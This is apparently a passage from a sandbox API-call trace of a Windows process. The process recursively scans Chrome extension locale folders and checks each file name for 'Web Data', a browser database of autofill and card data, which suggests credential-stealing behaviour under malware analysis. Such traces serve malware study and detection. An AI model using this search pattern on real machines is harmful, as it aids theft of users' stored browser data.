[0056.152] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.152] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.152] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.152] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.152] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.152] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.152] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.152] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0056.152] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0056.152] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.152] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.152] lstrlenA (lpString="\\") returned 1 [0056.152] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.152] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.152] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.152] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.152] lstrlenA (lpString="sk") returned 2 [0056.152] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.153] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.153] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" [0056.153] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.153] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned 131 [0056.153] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned 131 [0056.153] lstrlenA (lpString="\\*.*") returned 4 [0056.153] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.153] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" [0056.153] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*" [0056.153] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.153] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.153] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.153] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.153] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.153] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.153] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.153] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.153] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.153] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.153] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.153] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.153] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0056.153] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0056.153] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.153] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.153] lstrlenA (lpString="\\") returned 1 [0056.153] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.153] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.153] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.153] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.153] lstrlenA (lpString="sl") returned 2 [0056.153] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.153] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.153] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" [0056.153] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.153] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned 131 [0056.153] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned 131 [0056.153] lstrlenA (lpString="\\*.*") returned 4 [0056.153] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.153] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" [0056.153] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*" [0056.153] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.154] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.154] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.154] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.154] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.154] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.154] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.154] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.154] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.154] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.154] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.154] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.154] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0056.154] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0056.154] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.154] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.154] lstrlenA (lpString="\\") returned 1 [0056.154] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.154] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.154] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.154] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.154] lstrlenA (lpString="sr") returned 2 [0056.154] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.154] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.154] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" [0056.154] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.154] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned 131 [0056.154] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned 131 [0056.154] lstrlenA (lpString="\\*.*") returned 4 [0056.154] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.154] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" [0056.154] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*" [0056.154] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.154] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.154] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.154] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.154] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.154] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.154] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.154] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.154] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.154] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.154] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.154] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.155] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0056.155] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0056.155] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.155] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.155] lstrlenA (lpString="\\") returned 1 [0056.155] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.155] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.155] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.155] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.155] lstrlenA (lpString="sv") returned 2 [0056.155] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.155] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.155] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" [0056.155] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.155] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned 131 [0056.155] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned 131 [0056.155] lstrlenA (lpString="\\*.*") returned 4 [0056.155] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.155] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" [0056.155] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*" [0056.155] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.155] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.155] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.155] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.155] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.155] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.155] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.155] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.155] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.155] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.155] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.155] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.155] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0056.155] lstrcmpiA (lpString1="..", lpString2="th") returned -1 [0056.155] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.155] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 